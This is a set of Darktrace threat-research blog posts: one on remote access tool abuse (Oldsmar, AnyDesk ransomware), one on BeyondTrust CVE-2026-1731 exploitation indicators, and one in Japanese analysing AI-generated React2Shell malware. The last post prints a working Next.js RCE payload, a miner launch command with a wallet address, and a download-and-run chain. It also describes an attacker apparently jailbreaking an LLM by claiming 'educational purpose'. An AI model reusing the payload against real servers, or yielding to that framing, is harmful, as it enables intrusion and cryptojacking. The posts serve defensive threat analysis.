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August 3, 2022

The Risks of Remote Access Tools

Discover how remote access tools in exploitations across OT/ICS and corporate environments benefit from Darktrace's product suite.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dylan Hinz
Cyber Analyst
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03
Aug 2022

Understanding remote access tools

In 2022, remote access tools continue to provide versatile support to organizations. By controlling devices remotely from across the globe, IT teams save on response costs, travel times, and can receive remote support from external parties like contractors [1 & 2]. This is particularly relevant in cases involving specialty machines such as OT/ICS systems where physical access is sometimes limited. These tools, however, come with their own risks. The following blog will discuss these risks and how they can be addressed (particularly in OT environments) by looking at two exploit examples from the popular sphere and within the Darktrace customer base. 

What are remote access tools?

One of the most popular remote tools is TeamViewer, a comprehensive videoconferencing and remote management tool which can be used on both desktop and handheld devices[3]. Like other sophisticated tools, when it works as intended, it can seem like magic. However, remote access tools can be exploited and may grant privileged network access to potential threat actors. Although TeamViewer needs to be installed on both perpetrator and victim devices, if an attacker has access to a misconfigured TeamViewer device, it becomes trivial to establish a foothold and deploy malware. 

How secure is remote access?

Security vulnerabilities in remote access tools

In early 2021, remote access tooling was seen on a new scale against the City of Oldsmar’s water treatment plant [4] (Figure 1). Oldsmar manages chemical concentration levels in the water for a 15,000-person city. The water treatment plant had been using TeamViewer to allow employees to share screens and work through IT issues. However, in February an employee noticed he had lost control of his mouse cursor. Initially he was unconcerned; the employee assumed that the cursor was being controlled by his boss, who regularly connected to the computer to monitor the facility’s systems. A few hours later though, the employee again saw his cursor moving out of his control and this time noticed that it was attempting to change levels of sodium hydroxide in the water supply (which is extremely dangerous for human consumption). Thankfully, the employee was able to quickly spot the changes and return them to their normal level. When looking back at the event, the key question posed by officials was where exactly the vulnerability was located in their security stack. [5]. The answer was unclear.

Photograph of compromised water plant in Florida 
Figure 1: Photograph of compromised water plant in Florida 

Tactics and strategies

When attackers get initial network access, the primary challenge for any enterprise is identifying a) that a device compromise has happened and b) how it happened. These were the same challenges seen in the Oldsmar attack. When the first physical signs of compromise occurred (cursor movement), the impacted user was still unsure whether the activity was malicious. A detailed investigation from Dragos revealed the how: evidence of a watering hole, reconnaissance activity a month prior, a targeted variant of the Tofsee botnet, and the potential presence of two separate threat actors [6 & 7]. The answer to both questions pointed to a complex attack. However, with Darktrace these questions become less important. 

How Darktrace stops compromised remote access

Darktrace does not rely on signatures but instead has AI-based models for live detection of these tools and anomalies within the wider network. Regardless of the security ‘hole’, live detection gives security teams the potential to respond in near-live time.

According to Darktrace’s Chief Product Officer, Max Heinemeyer, the Oldsmar attack was possible because it “Abused off-the-shelf tools that were already used by the client, specifically TeamViewer. This tactic, which targeted the domain controller as the initial vector, made the malware deployment easy and effective.” [8]. 

Darktrace has multiple DETECT models to provide visibility over anomalous TeamViewer or remote access tool usage:

·      Compliance / Incoming Remote Access Tool

·      Compliance / Remote Management Tool On Client

·      Compliance / Remote Management Tool On Server

·      Device / Activity Identifier / Teamviewer 

General incoming privileged connections:

·      Compliance / Incoming Remote Desktop

·      Compliance / Incoming SSH

Industrial DETECT can also highlight any new or unusual changes in ICS/OT systems:

·      ICS / Incoming ICS Command

·      ICS / Incoming RDP And ICS Commands

·      ICS / Uncommon ICS Error

Darktrace gives security teams the opportunity for a proactive response, and it is up to those teams to utilize that opportunity. In recent months our SOC Team have also seen remote access controls being abused for high-profile threats. In one example, Darktrace detected a ransomware attack supported by the installation of AnyDesk. 

Initial detection of compromise

In May a company’s mail server was detected making multiple external requests for an unusual file ‘106.exe’ using a PowerShell agent (6b79549200af33bf0322164f8a4d56a0fa08a5a62ab6a5c93a6eeef2065430ce). Although some requests were directed to sinkholes, many were otherwise successful. Subsequently a DDL file with hash f126ce9014ee87de92e734c509e1b5ab71ffb2d5a8b27171da111f96f3ba0e75 (marked by VirusTotal as malicious) was downloaded. This was followed by the installation of AnyDesk: a remote access tool likely deployed for backdoor purposes during further compromises. It is clear the threat actor then moved on to reconnaissance, with new Mimikatz use and a large volume of ICMP and SMBv.1 scanning sessions using a default credential. DCE-RPC calls were also made to the Netlogon service, suggesting a possible attempt to exploit 2020’s Zerologon vulnerability (CVE-2020-1472) [9]. When the customer then discovered a ransom note pertaining to LV (repurposed REvil), Darktrace analysts helped them to re-configure Darktrace RESPOND and turn it to active rather than human confirmation mode (Figure 2). 

Figure 2: Capture of LV ransom note provided by customer

Whilst in this instance the tool was not used for initial access, it was still an important contingency tool to ensure the threat actor’s persistency as the customer tried to respond to the ongoing breach. Yet it was the visibility provided by Darktrace model detection and changes to RESPOND configuration which ensured the customer kept up with this actor and reduced the impact of the attack. 

Looking back at Oldsmar, it is clear that being aware of remote access tools is only half the battle. More importantly, most organizations are asking if their use in attacks can be prevented in the first place. As an off-the-shelf tool, restricting TeamViewer use seems like an easy solution but such tools are often essential for maintenance and support operations. Even if limited to privileged users, these accounts are also subject to potential compromise. Instead, companies can take a large-scale view and consider the environment in which the Oldsmar attack occurred. 

How IT & OT convergence complicated this attack

In this context, the separation of OT and IT systems is a potential solution - if attackers cannot access at-risk systems, then they also cannot attack those systems. However, with recent discourse around the IT-OT convergence and increased use of IoT devices, this separation is increasingly challenging to implement [10]. Complex networking designs, stringent patching requirements and ever-changing business/operational needs are all big considerations when establishing industrial security. In fact, Tenable’s CEO Amit Yoran encouraged less separation following Oldsmar: “There’s business reasons and efficiency reasons that you might want to connect those to be able to predict when parts are going to fail or when outages are going to occur [sic].” [11]. 

When neither addressing remote access use or industrial set-up provides a quick solution, then security teams need to look to third-party support to stop similar attacks. In addition to Darktrace DETECT, our Darktrace PREVENT range with PREVENT/Attack Surface Management (ASM) can also alert security teams to internet-facing devices at risk of remote access exploitation. ASM actively queries the Shodan API for open ports on company websites and exposed servers. This highlights those assets which might be vulnerable to this type of remote access.   

Conclusion

In conclusion, TeamViewer and other remote access tools offer a lot of convenience for security teams but also for attackers. Attackers can remotely access important systems including those in the industrial network and install malware using remote access tools as leverage. Security teams need to know both their normal authorized activities and how to enforce them. With Darktrace DETECT, the tools are given transparency, with Darktrace RESPOND they can be blocked, and now Darktrace PREVENT/ASM helps to mitigate the risk of attack before it happens. As the professional world continues to embrace hybrid working, it becomes increasingly crucial to embrace these types of products and ensure protection against the dangers of unwanted remote access. 

Thanks to Connor Mooney for his contributions to this blog.

Appendices

References 

[1] https://goabacus.com/advantages-and-disadvantages-of-remote-access-service/ 

[2] https://blog.ericom.com/advantages-of-remote-access/ 

[3] https://www.teamviewer.com/en/documents/ 

[4] https://www.wired.com/story/oldsmar-florida-water-utility-hack/ 

[5 & 11] https://www.bankinfosecurity.com/ot-it-integration-raises-risk-for-water-providers-experts-say-a-18841 

[6] https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/ 

[7] https://www.dragos.com/blog/industry-news/recommendations-following-the-oldsmar-water-treatment-facility-cyber-attack/

[8] https://customerportal.darktrace.com/darktrace-blogs/get-blog/53  

[9] https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/

[10] https://www.mckinsey.com/business-functions/operations/our-insights/converge-it-and-ot-to-turbocharge-business-operations-scaling-power

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dylan Hinz
Cyber Analyst

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February 13, 2026

CVE-2026-1731: How Darktrace Sees the BeyondTrust Exploitation Wave Unfolding

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Note: Darktrace's Threat Research team is publishing now to help defenders. We will update continue updating this blog as our investigations unfold.

Background

On February 6, 2026, the Identity & Access Management solution BeyondTrust announced patches for a vulnerability, CVE-2026-1731, which enables unauthenticated remote code execution using specially crafted requests.  This vulnerability affects BeyondTrust Remote Support (RS) and particular older versions of Privileged Remote Access (PRA) [1].

A Proof of Concept (PoC) exploit for this vulnerability was released publicly on February 10, and open-source intelligence (OSINT) reported exploitation attempts within 24 hours [2].

Previous intrusions against Beyond Trust technology have been cited as being affiliated with nation-state attacks, including a 2024 breach targeting the U.S. Treasury Department. This incident led to subsequent emergency directives from  the Cybersecurity and Infrastructure Security Agency (CISA) and later showed attackers had chained previously unknown vulnerabilities to achieve their goals [3].

Additionally, there appears to be infrastructure overlap with React2Shell mass exploitation previously observed by Darktrace, with command-and-control (C2) domain  avg.domaininfo[.]top seen in potential post-exploitation activity for BeyondTrust, as well as in a React2Shell exploitation case involving possible EtherRAT deployment.

Darktrace Detections

Darktrace’s Threat Research team has identified highly anomalous activity across several customers that may relate to exploitation of BeyondTrust since February 10, 2026. Observed activities include:

-              Outbound connections and DNS requests for endpoints associated with Out-of-Band Application Security Testing; these services are commonly abused by threat actors for exploit validation.  Associated Darktrace models include:

o    Compromise / Possible Tunnelling to Bin Services

-              Suspicious executable file downloads. Associated Darktrace models include:

o    Anomalous File / EXE from Rare External Location

-              Outbound beaconing to rare domains. Associated Darktrace models include:

o   Compromise / Agent Beacon (Medium Period)

o   Compromise / Agent Beacon (Long Period)

o   Compromise / Sustained TCP Beaconing Activity To Rare Endpoint

o   Compromise / Beacon to Young Endpoint

o   Anomalous Server Activity / Rare External from Server

o   Compromise / SSL Beaconing to Rare Destination

-              Unusual cryptocurrency mining activity. Associated Darktrace models include:

o   Compromise / Monero Mining

o   Compromise / High Priority Crypto Currency Mining

And model alerts for:

o    Compromise / Rare Domain Pointing to Internal IP

IT Defenders: As part of best practices, we highly recommend employing an automated containment solution in your environment. For Darktrace customers, please ensure that Autonomous Response is configured correctly. More guidance regarding this activity and suggested actions can be found in the Darktrace Customer Portal.  

Appendices

Potential indicators of post-exploitation behavior:

·      217.76.57[.]78 – IP address - Likely C2 server

·      hXXp://217.76.57[.]78:8009/index.js - URL -  Likely payload

·      b6a15e1f2f3e1f651a5ad4a18ce39d411d385ac7  - SHA1 - Likely payload

·      195.154.119[.]194 – IP address – Likely C2 server

·      hXXp://195.154.119[.]194/index.js - URL – Likely payload

·      avg.domaininfo[.]top – Hostname – Likely C2 server

·      104.234.174[.]5 – IP address - Possible C2 server

·      35da45aeca4701764eb49185b11ef23432f7162a – SHA1 – Possible payload

·      hXXp://134.122.13[.]34:8979/c - URL – Possible payload

·      134.122.13[.]34 – IP address – Possible C2 server

·      28df16894a6732919c650cc5a3de94e434a81d80 - SHA1 - Possible payload

References:

1.        https://nvd.nist.gov/vuln/detail/CVE-2026-1731

2.        https://www.securityweek.com/beyondtrust-vulnerability-targeted-by-hackers-within-24-hours-of-poc-release/

3.        https://www.rapid7.com/blog/post/etr-cve-2026-1731-critical-unauthenticated-remote-code-execution-rce-beyondtrust-remote-support-rs-privileged-remote-access-pra/

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About the author
Emma Foulger
Global Threat Research Operations Lead

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February 12, 2026

AI/LLMで生成されたマルウェアを使ったReact2Shellエクスプロイト

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots” と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

最近観測されたダークトレースのCloudypots環境に対する侵入インシデントは、React2Shell 脆弱性をエクスプロイトする完全にAI生成のマルウェアを明らかにしました、AI 支援ソフトウェア開発(“vibecoding”とも呼ばれます)が広く普及するにつれ、攻撃者はますます大規模言語モデルを使って迅速にツールを開発するようになっています。このインシデントは状況の大きな変化を表しています。AIによって、今では低スキルのオペレーターであっても効果的なエクスプロイトのフレームワークを短期間に作りだすことが可能となっているのです。このブログでは、攻撃チェーンを精査し、AI生成ペイロードを分析し、この変化が防御者にとって何を意味するかを解説します。

初期アクセス

ダークトレースのdockerハニーポットに対して侵入が観測されました。これは意図的にDockerデーモンを認証なしでインターネットに露出させています。この設定により任意の攻撃者がデーモンを発見しDocker APIを通じてコンテナを作成することが可能です。 

攻撃者は“python-metrics-collector”という名前のコンテナを生成しました。これにはcurl、wget、python 3を含む必要ツールを最初にインストールするスタートアップコマンドが設定されていました。

Container spawned with the name ‘python-metrics-collector’.
図1:‘python-metrics-collector’ という名前で生成されたコンテナ

次に、必要な一連のpythonパッケージを次からダウンロードします

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

最後に次からpythonスクリプトをダウンロードして実行します

  • hxxps://smplu[.]link/dockerzero.

このリンクは“hackedyoulol”がホストするGitHub Gistにリダイレクトされますが、このアカウントは本ブログ執筆時点でGitHubから利用停止措置を受けています。

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

注目すべき点は、dockerを狙ったマルウェアであるにもかかわらずこのスクリプトにdockerスプレッダーが含まれていなかったことです。これは、感染の拡大が別に中央管理されたスプレッダーサーバーで処理されている可能性が高いことを示しています。

展開されたコンポーネントと実行チェーン

ダウンロードされたPythonペイロードは侵入のための中心的な実行コンポーネントでした。マルウェア自体が難読化設計となっており、エクスプロイトスクリプトと拡散メカニズムの間でこの難読化が強化されていました。dockerマルウェアには通常、自身のスプレッダーロジックが含まれているため、これが欠けているということは攻撃者が拡散専用のツールをリモートで管理し、実行していることを示唆しています。

スクリプトは複数行のコメントで始まっています:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

これは非常に多くのことを語っています。当社が分析したサンプルのほとんどではファイル内にこのレベルのコメントは含まれていません。多くの場合それらは分析を阻害するために意図的に理解しにくく設計されています。人間のオペレーターが短時間に記述したスクリプトはたいていの場合わかりやすさよりもスピードと機能を優先しています。一方、LLMはすべてのコードに対して詳しくコメントを記録するよう設計されており、このサンプルにも繰り返しこのパターンが表れています。 さらに、AIはそのセーフガードの一環としてマルウェアの生成を拒否します。

さらに、“Educational/ResearchPurpose Only(教育/研究目的専用)” というフレーズが含まれていることは、攻撃者が悪意ある要求を教育目的と偽ることによって、AIモデルのジェイルブレイクを行ったことを示唆しています。

さらにスクリプトの一部をAI 検知ソフトウェアでテストしたところ、その出力結果はコードがおそらくLLMによって生成されているということを示していました。

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
図2:GPTZeroによるAI検知の結果は、スクリプトがAIモデルを使って生成された可能性を示しています。

スクリプトはよくできたReact2Shellエクスプロイトツールキットであり、リモートコード実行を行いXMRig (Monero) 暗号通貨マイニングマルウェアを展開しようとするものです。 IP生成ループを使って標的を見つけだし、以下を含むエクスプロイトリクエストを実行します:

  • 念入りに構成されたNext.jsサーバーコンポーネントペイロード
  • 実行を強制しコマンド出力を明らかにするよう設計されたチャンク
  • 任意のシェルコマンドを実行する子プロセス起動

  def execute_rce_command(base_url, command, timeout=120):  
   """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
   DO NOT MODIFY THIS FUNCTION
   Returns: (success, output)  
   """  
try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

この関数は最初 ‘whoami’を使って起動され、ホストが脆弱かどうかを判断し、次にwgetを使ってGitHubレポジトリからXMRigをダウンロードし、設定されたマイニングツールとウォレットアドレスを指定してこれを起動します。

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

多くの攻撃者が気づいていないことは、Moneroでは不透明なブロックチェーン(トランザクションを追跡できずウォレット残高が閲覧できない)が使われているものの、supportxmr等のマイニングプールは各ウォレットのアドレスに対する統計情報を公開していることです。これによりキャンペーンの成功と攻撃者の利益を追跡することは簡単に行えます。

 The supportxmr mining pool overview for the attackers wallet address
図3:supportxmrマイニングツールに表示される攻撃者のウォレットアドレス概要

この情報に基づき、この攻撃者はキャンペーン開始以来0.015 XMRを得ましたがこれは本ブログ執筆時点で5ポンド程度です。1日あたり、攻撃者は0.004 XMRを生成しており、これは1.33ポンドの価値です。ワーカー数は91であり、91のホストがこのサンプルに感染していることを意味しています。

まとめ

攻撃者が生成した金額はこのケースでは比較的少額であり、暗号通貨マイニングは新しいテクニックとは言えませんが、このキャンペーンはAIベースのLLMがサイバー犯罪を容易にした実例です。モデルとの1度のプロンプトセッションで、この攻撃者は機能するエクスプロイトフレームワークを生成し、90以上のホストを侵害することができています。これはAIベースのLLMによってサイバー犯罪がこれまで以上に簡単になったことを実証しており、攻撃者にとってのAIのオペレーション上の価値は過小評価されるべきではないことを示しています。

CISOおよびSOCのリーダーは、このインシデントを近い将来起こり得ることとして想定すべきです。脅威アクターは、今やオンデマンドでカスタムマルウェアを生成し、エクスプロイトを即座に改変し、侵害のすべての段階を自動化することができます。防御者は、迅速なパッチ適用、継続的なアタックサーフェスの監視、およびビヘイビアベースの検知アプローチを優先的に進める必要があります。AI 生成されたマルウェアはもはや理論上のものではなく、実際に運用されており、スケーラブルで、誰でもアクセスできるものなのです。

アナリストのコメント

ダウンロードされたスクリプトにDockerスプレッダーが含まれていないように見えることが注目に値します。これはこのマルウェアが感染したホストから他の被害者に複製されないことを意味しています。これはダークトレースの調査チームが分析した他のサンプルと比較して、Dockerマルウェアではあまりないことです。これは拡散のための別のスクリプトがあることを示しており、おそらく攻撃者が中央のスプレッダーサーバーから展開するものと思われます。この推論は接続を開始したIP、49[.]36.33.11が、インドの一般住宅用ISPに登録されていることからも成り立ちます。攻撃者が住宅用プロキシサーバーを使って形跡を隠している可能性もありますが、彼らの自宅のコンピューターから拡散用スクリプトを実行していることも考えられます。しかしこれは確認済みのアトリビューションと理解するべきではありません。

担当:Nathaniel Bill (Malware Research Engineer)、Nathaniel Jones (Nathaniel Jones, VP Threat Research | Field CISO AISecurity)

侵害インジケータ(IoC)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

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About the author
Nathaniel Bill
Malware Research Engineer
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